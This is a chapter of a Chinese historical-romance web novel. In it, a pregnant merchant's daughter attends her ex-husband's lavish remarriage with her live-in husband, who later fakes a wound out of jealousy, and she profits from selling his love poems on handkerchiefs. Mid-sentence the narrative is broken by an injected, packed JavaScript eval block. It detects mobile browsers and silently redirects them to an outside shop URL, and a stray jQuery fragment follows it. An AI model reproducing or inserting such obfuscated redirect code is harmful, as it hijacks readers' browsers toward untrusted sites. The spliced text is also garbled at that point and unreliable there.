约莫两个月,苏雨棠算算日子,竟是与沈酌一圆房便怀上了。
她自然高兴,撒娇让温氏去替她求了一尊送子观音在屋里供着,每日早起一拜,祈求菩萨保佑她生个闺女。
温氏也欢喜,激动得想请亲友来家中小聚,把喜讯告诉众人,却被老太太拦住:“你这做娘的怎的不知轻重?棠棠才怀上,不足三个月呢,凡事得当心,不宜宣扬,等胎相稳固再说不迟。”
为了女儿和小外孙,温氏只得按捺着兴奋照办。
倒是老太太,人前眉欢眼笑,人后却悄悄抄了一卷经文供到佛前,暗暗祈祷苏雨棠生个小重孙,至于苏雨棠期待的贵女,她希望晚些再来。
沈酌呢,表现得倒不及先前激动,只是不论多忙,每晚都会过来瞧瞧。
目光停留在苏雨棠腹部的时间很长,也不知在琢磨什么。
而庄家,正紧锣密鼓操办着婚事。
“苏雨棠接了请帖?她竟然答应过来?”庄锦才翻翻没送出去的几份请帖,状似无意问。
贾淑慧知道,他表面像是随口一问,其实很在意。
否则,也不会违逆庄父庄母的意思,执意耗费巨资筹办这场不太光彩的婚事。
她佯装不知,挽住庄锦才手臂,柔声应:“是啊,苏小姐答应过来喝杯喜酒。”
继而,她眉尖轻蹙:“锦郎,你心里该不会还惦记着苏小姐吧?”
“当然不会!我恨她都来不及!”庄锦才不假思索否认。
其实他还想问问,听到他的婚期,苏雨棠是怎样的反应。
可为了掩饰心事,他忍了回去,拿起另一张请帖,顺势转移话题。
这张请帖是该送进端王府的。
“淑慧,你不是与明珠郡主有几分交情么?当初我能出顺天府大牢,还是你去向郡主求的情。怎么这请帖竟没送出去?”庄锦才望着她,微微疑惑。
若能请到郡主来参加婚仪,所有人都知道他攀上了端王府,那些坏名声算得了什么?
等风声过了,他照样有机会重新做人。
婚期已定,请帖已发,她肚子里还怀着庄锦才唯一的指望,贾淑慧还怕什么?
若不趁此机会,告诉他实情,往后还得一再扯谎敷衍他,这个心狠手辣的男人,不值得她浪费这么多心神。
“锦郎,对不起。”贾淑慧一开口便泫然欲泣。
“好端端的,你道歉做甚?”庄锦才不明所以,伸手揽住她,“淑慧,你怀着我们的骨肉,最忌伤怀落泪的。有什么事尽管说,为夫不会怪你。”
“真的吗?”贾淑慧拿帕子拭了拭泪,抬眸往他,怯怯道,“其实那件事,是我骗你的,我也想求明珠郡主,可我根本没有靠近她的机会。求郡主放你出来的,是苏小姐。锦郎,我也是太想与你在一起,迫不得已,才出此下策,你能原谅我,真是太好了!”
竟是苏雨棠放他出来的?她为何忽然对他心软?
她嘴上恨他,心里其实是顾念从前的交情的,是不是?
庄锦才想着想着,心口微烫。
可感受到怀中女人环住他的力道,他有清醒几分,脸色发沉。
这个贱人,竟敢撒这种弥天大谎!
若不是因为她,他与苏雨棠便不会分开,那丰厚的嫁妆是他的,端王府的门槛他也踏得。
庄锦才心中恨意汹涌,手掌沿着她脊背上移,毒蛇一般,虎口半钳住贾淑慧后颈。
若再冲动几分,她已经被他捏断脖子,咽了气。
可是不行,她肚子里怀着他唯一的骨肉。
若连这个孩子都没了,那他真的会一无所有。
“没关系,为夫怎么舍得怪你呢?”他手上力道放轻,怜惜一般轻抚她后颈。
许是为了借喜事去去晦气,庄家这场婚仪极为盛大,比娶苏雨棠时多花了几倍的心思。
还特意安排在旬假,让所有亲故、老少都能来凑热闹。
苏雨棠原本打算独自来瞧热闹,可昨晚才发现,今日沈酌放旬假,她随口说一句今日的安排,沈酌要跟着,她便没推辞。
如今,她怀着身孕,多个可靠的人跟在身边也好。
正好在庄锦才向众人表演他有多幸福时,她也让众人瞧瞧,离了庄家,她照样过得很好,与赘婿恩爱至极。
沈酌脸上的面具,是她出门前,亲手为他戴上的。
一出现在庄家门口,便吸引到所有宾客的目光。
“哟,这不是苏家的赘婿吗?”
“苏小姐休夫的事,才过去两个月,庄家就大张旗鼓迎娶那不知廉耻的外室,苏小姐特意带着赘婿上门,不会是来闹事的吧?”
“肯定是,总不可能是来道喜的。”
众人正议论着,便见苏雨棠携赘婿,如一双璧人,向庄家人贺喜:“庄伯父、庄伯母,恭喜恭喜!”
看到这场面,众人惊诧不已。
所有人都以为,以苏雨棠凶悍的做派,绝不会老老实实待着。
可宴席过半,风平浪静,众人才不得不承认,她真是来喝喜酒的。
苏雨棠没在意旁人的目光,也不理会他们会如何想,她眼睛追随着新人的身影,一眨不眨,恍然忆起梦中情形。
今日的庄锦才,笑意比沈酌脸上的面具还假。
可在梦里,他一顶软轿纳贾淑慧入府那日,喜不自禁,拿她的体己银子,给府里上上下下都发了二两赏银。
娶贾淑慧做正妻,可是梦里的他一直谋划的呢,怎么今日得偿所愿,反倒不高兴了?
看他不高兴,苏雨棠心情一好,饭菜都多吃了不少。
殊不知,沈酌端凝着她侧脸,心内酸涩不已。
她特意来参加婚仪,眼睛一直落在庄公子身上,没有瞧他一眼,是心中仍不能释怀吗?
庄公子这样的货色,值得她念念不忘吗?
“苏小姐,多谢赏脸前来赴宴,我敬你一杯。”庄锦才不知抽的什么风,突然过来向苏雨棠敬酒。
苏雨棠眼神玩味扫过酒盏,弯唇欲语,却被沈酌抢了先。
沈酌长臂一横,截走庄锦才递来的酒盏:“棠棠怀着身孕,不宜饮酒,我代她喝。”
言毕,手持酒盏便往嘴边送。
“诶?”苏雨棠抬手抓住他小臂,止住他的动作,语气温柔,“三郎,饮酒伤身,你背上的伤还没好全呢,不许贪杯。”
趁沈酌愣神,她取走他指尖酒盏,划一道弧线,顺势拿酒水祭了土地公。
“我与庄公子之间,不是能把酒言欢的交情,不如敬天地鬼神。今日庄公子与贾娘子拜了天地,光明正大做夫妻,往后可得记得一心一意,切莫重蹈覆辙才是。”
一句话,臊得庄锦才脸色发红。
苏雨棠想看的戏也看了,起身道:“我身子重,闻不得酒气,就此告辞。”
“三郎,我们走吧。”她将纤丽白皙的手递向沈酌。
专程挑的好日子,阳光煦暖。
暖阳照得她肌肤如玉生辉,姣美出尘。
在庄锦才嫉妒、众人看好戏的目光中,沈酌俯低身形,长臂托起她膝弯,轻易将她抱起,稳稳朝外走去。
“可恶,这贱人,竟在众目睽睽之下,与别的男人如此亲近,不知廉耻!”庄锦才恨恨低咒。
时至今日,他看着苏雨棠在别的男人怀里,仍控制不住怒火。
毕竟是他迎娶新人的婚宴,他理智尚存,声音压得极低,可贾淑慧守在他身旁,听得一清二楚。
哼,你庄锦才才是个贱人,拥有的时候不懂珍惜,失去了,又不愿承认,不可能放手。
娶了她,心里还惦记着苏雨棠?永远吃着碗里的想着锅里的!
贾淑慧按捺着恨意与恶心,惊诧地望着他:“锦郎,你在说什么?他们是正经夫妻啊,苏小姐连孩子都怀上了!”
她特意提醒庄锦才,人家不光抱了,还同床共枕过。
气吧,气死也影响不到她在庄家的地位。
那美貌能干的女人,原本是他的,如今肚子里却怀着别的男人的孽种。
一口血气喷涌上来,庄锦才喉间尝到浓郁的腥甜。
听说国公爷亲自登门,带着谢礼进苏家时,庄锦才更是悔得肠子都青了。
新婚燕尔,气病在床。
苏雨棠和沈酌忙着待客呢,对庄家的小风波一无所知。
“姨姨!”小世子扑入苏雨棠怀中,搂住她脖子,要往她腿上爬。
裴钧台脸上挂着歉意的笑,无奈摇头。
如此姿态,显然是默许。
沈酌赶紧一把扯住裴墨麟:“世子当心,姨姨腹中怀着小娃娃,不能抱你。”
苏雨棠本想说没事,但看到沈酌如此紧张她,又改了主意。
是啊,她腹中的孩儿是盼了许久才得来的,在她心里可比别家孩子都宝贝,她为何要客气,委屈自己?
她依然喜欢小世子,但她要护着自己的孩子。
“竟有此事?”裴钧台一愣,很快反应过来,朝着二人拱手,“还未向二位道喜。”
说话间,他已伸手将裴墨麟拉到身边,以免他冲撞到苏雨棠。
“多谢国公爷。”苏雨棠面上含笑,礼貌道谢。
“对不起姨姨,麟哥儿不是故意的。”小世子委屈致歉。
前一阵,镇国公忙着清理门户,府中变动不小。
麟哥儿亲眼看着二叔被官差抓走,看到奄奄一息的姨娘被拖出府去发卖。
他很怕再犯错。
小家伙眼睛都红了,苏雨棠看着不忍心,冲他招招手:“麟哥儿过来,只要小心些,不会伤害到小妹妹的。”
苏雨棠握住他的小手,轻轻放在自己平坦的腹部。
小孩子很好哄,眨巴着水润润的大眼睛,好奇地问苏雨棠:“姨姨肚子里住着小妹妹?”
闻言,苏雨棠心念微动。
祖母似乎说过,小孩子的眼睛未被世俗沾染,比大人多些灵气,能看到大人看不到的东西。
“姨姨希望是妹妹。”苏雨棠浅笑,“麟哥儿帮姨姨瞧瞧,我肚子里是不是小妹妹呢?”
裴墨麟忽而变成个小大人,盯着苏雨棠的肚子认真打量。
余下三人好奇他会说什么,不约而同屏住呼吸等。
须臾,只听麟哥儿道:“麟哥儿看到了,就是小妹妹!她说她和麟哥儿一样,也喜欢姨姨,所以想让姨姨做她娘亲。”
小家伙竟还没忘记这茬,苏雨棠被他逗得噗嗤一笑:“姨姨只能做妹妹的娘亲哦。”
裴钧台忙碌多日,听到他们一大一小的话,难得露出一丝笑意。
感受到苏家赘婿的视线,他回望过去,笑意僵滞一瞬,敛眸,捧起茶盏饮了一口茶。
沈酌心头掀起惊涛骇浪,小世子年幼无知,说出这样的话,情有可原,可镇国公竟未纠正一句。
难道,堂堂镇国公,竟在心里觊觎旁人的娘子?!
裴钧台自己并未多想,但他知道,不管谁家夫婿,遇到这种情形,都难免揣测。
“詹兄身上的伤如何了?若需寻医问药,可随时遣人告诉我。”裴钧台略斟酌,关心道。
苏雨棠想着,往后沈酌位极人臣,恐怕少不了与镇国公这些勋贵打交道,为免以后露馅,他们还是尽量少说话的好。
是以,她极自然地接过话:“三郎好多了,国公爷先前送的那些药材都很有用。”
哪知,她话音刚落,便听身边传来沈酌虚弱的声音:“棠棠,我伤口又疼了,许是久坐的缘故。”
苏雨棠讶然,侧眸望他,心内狐疑。
不是早就不疼了么,怎么坐一会子,突然疼起来?
可瞧沈酌的模样,痛感很真实。
想想他也不是撒谎的性子,且没理由在镇国公面前演戏。
她不由紧张起来,当即冲裴钧台道:“国公爷,我得先扶他回房,找郎中来瞧瞧,失陪了。”
“可要请太医?”裴钧台面露愧疚。
小世子也紧张得跑到他身边,拉住他的手,望着戴面具的沈酌。
“不必,只是累了,精神不济,回房歇歇便好。”沈酌将手搭在苏雨棠肩头,“棠棠,可否扶我回房?”
疼得都站不稳了?苏雨棠焦心不已,唯恐他是伤没养好,落下了什么病根。
连与镇国公客套也顾不上,扶着沈酌便走,只吩咐玉簪她们送客。
裴钧台望着沈酌背影,若有所思。
詹三郎背上的伤,他亲自看过,也听太医说过,那种程度的伤,他身上也有过,甚至更深的也受过,至多养十天半个月,便会长好,哪还会疼?
他自幼习武,身强体壮,或许好得快些,詹三文弱,好得慢些也正常。
可是再慢,也不该月余还未养好。
再细细打量沈酌步伐,他忽而弯唇。
传言非虚,苏小姐与她这位赘婿,果真伉俪情深。
小孩子的一句戏言,竟能让她的赘婿如临大敌。
不过,也难怪他,苏小姐确实是一位有胆识,引人瞩目的好女子。
回到房中,苏雨棠急得脑门沁出细汗。
“怎会突然疼成这样?让我瞧瞧。”她伸手便扯沈酌衣襟,想看看他的背。
可刚扯松,手腕便被他攥住。
“棠棠,别担心,我没事。”沈酌忍着心虚,清清嗓子,“其实一点也不疼。”
“真的?”苏雨棠不太相信。
“真的。”沈酌一手揽着她,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17603474|204012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
手抬起,挥动手臂,做了几个幅度很大的动作,面色如常。
这回,苏雨棠不得不信,气得在他胸膛捶了一下:“不疼你骗我做什么?还在国公爷面前演戏!相识这么久,我才知道,三郎演技如此精湛!”
“我错了。”沈酌态度诚恳。
他这副模样,叫她如何继续生气?
苏雨棠哭笑不得:“你究竟为何?”
为何?当然是因为,无法忍受心上人被别的男人觊觎。
那个男人还身份尊贵,位高权重,是女子极易仰慕的对象。
平凡如他,拿什么与那人争呢?
但棠棠喜欢他记住本分,他的占有欲会让她认为是越矩。
沈酌垂下眉眼,轻抵她眉心:“我是你的赘婿,我伤得越重,国公府越念你的恩情,于你的生意可能也会有更多帮助。”
竟是为了她?
沈酌为了她,违背本心,做到如此地步?
苏雨棠感到心头一阵震颤。
道理她都懂,也一遍一遍告诫过自己。
可是,心哪是全由理智掌控的?她是个活生生的人,抛不开七情六欲。
对他心如止水,真的好难。
春暖花开,上巳将至。
苏雨棠从整理成册的诗集中,挑选一些应景的,又颤着沈酌写了些新的情诗,让手下绣娘绣到素帕子上。
每块帕子绣半首,两张帕子叠在一起,便是一首文笔上佳的情诗。
沈酌也忙着,她没空问。
倒是沈酌问起,她打算拿这些情诗做什么去,苏雨棠笑而不语,没告诉他。
上巳节这日,数不清的少男少女踏青游玩,苏雨棠安排人在风景秀丽或是繁华处,给女子送鲜花,每人一支。
春日里,正是百花盛开的时节,这些倒花不了多少银子,倒往她布庄里引来不少生意。
傍晚,苏雨棠站在路口,看到苏记布庄门外人头攒动,根本挤不进去。
而突破重重阻碍,好不容易挤出来的年轻男女手中,都会抱着布匹,拿着两张帕子,边瞧边笑。
没错,那些情诗,她拿来吸引天真烂漫的小情侣来买布了,今日在布庄消费超五两送情侣对帕!
至于情诗来源,她也没藏着掖着,让掌柜们直接告诉顾客,都是赘婿赠她的情诗。
很快,街头巷尾都传遍了,苏家赘婿极会讨好人,写得一手好情诗。
有人夸他文采好,有人笑他没骨气,才华没用在正道上。
苏雨棠大赚一笔,那些酸话,她权当是羡慕。
天黑才回府,但想想今日赚的银子,她一点也没觉得累。
刚进回房,抬首便见沈酌坐在书案后,捧着一卷书看得入神。
郎君丰神俊秀,真是赏心悦目。
她偷偷多看了几眼,才上前道:“三郎猜猜我拿那些情诗赚了多少银子?”
说着,她已等不及沈酌回应,直接伸出手,朝沈酌比了三根手指:“这个数!不是三百,是三千!”
她黝黑的瞳仁在发亮。
棠棠很高兴,那么他便不计较她将他的情意公之于众了。
或许,她还能更高兴些。
沈酌放下书,从衣襟里取出一张洒金帖子:“棠棠,我也有好消息告诉你。”
“这是什么?”苏雨棠疑惑,接过来,打开一看,眼睛登时睁圆。
“国子监?祭酒大人亲自邀你入国子监?!”苏雨棠吃惊不小。
梦里,她不记得沈酌有没有这样的际遇,或许有吧,她那时并不认得他。
但那已不重要。
“三郎,你好厉害!”苏雨棠放下洒金帖子,扑到他怀里,环住他脖颈,激动地在他颊边亲了一下。
他变得更好,她果然会开心。
若他变得足够好,超越庄公子与她的情分,超越镇国公的地位,是不是才能完全拥有她,再不必担心她被抢走?
野心在他心间燃烧,沈酌面上却不显,怕她伤着,小心护着她腰身。
“你怎么做到的?”苏雨棠忍不住问。
或许大表哥也能试试?
沈酌扶她坐下,慢条斯理道:“也不难,梅夫子将春闱试题拿给我们,机缘巧合被祭酒大人看到我的文章,才有此机缘。”
不难吗?可太难了,这条路,大表哥定然走不通。
苏雨棠顿时打消念头,抱着沈酌,意识到很重要的事。
等他进入国子监,定会有越来越多的人看到他的优秀,他会开始发光,步入真正属于他的人生。
她已如愿怀上身孕,或许该与他保持适当的距离,不让彼此牵扯太深。
“棠棠。”沈酌嗓音渐沉,想说什么,看看她的肚子,又咽回去。
自从她查出有孕,他们已多日不曾肌肤相亲。
可是,尚未满三月,他不能。
“什么?”苏雨棠抬眸望他,眼中透着些茫然。
沈酌没看懂她眼神里藏着的挣扎,略垂首,在她耳畔轻念了一句情诗。
是他心有所动,刚想到的。
诗情婉约,藏着他不敢言明的爱意。
苏雨棠赞他诗好,却丝毫没领会他卑微的告白。
春闱放榜,苏雨棠陪温云川去瞧,果然如梦里一般,苏文渊考中进士,二甲九十七名,温云川榜上无名。
温云川耷拉着头,有气无力。
“大表哥别灰心,三年后再考,一准儿能中!”苏雨棠为他鼓劲。
待要再说什么,余光瞥见二房诸人。
“娘,爹考中了!”苏长樾从人群里挤出来,向家人报喜。
苏文渊捋捋短须,神情颇为得意。
看到苏雨棠时,他几乎是拿下巴瞧人。
二房的光,苏雨棠一点儿没想沾。
偏偏苏文渊自己走过来,挡在他们面前:“哎呀,云川没考中吧?真是可惜,但进士确实不是人人都能考的。棠棠,怎么样,后悔分家吗?”
温云川气得脸通红。
苏雨棠站出来:“二叔考到将近不惑才高中,我大表哥还年轻呢,这次考不中,还有下次,好事多磨。二叔才刚考中,还是低调行事为好,去六部观政,也是会考察官声的。”
“棠棠,你那二叔真是小人,得志便猖狂!”温云川不懂,那种人都能考中,他为何不能?
“表哥,我上回同你提过的那位沈郎君,听说凭着今科试题得了祭酒大人青眼,被选入国子监了。”苏雨棠将他注意力从苏文渊身上扯过来。
“你说什么?他人呢?我现在拜师还来得及吗?”
苏雨棠玩味一笑,步履潇洒,就是不给准话,温云川一路跟着她央求,又是许好处,又是喊她小姑奶奶。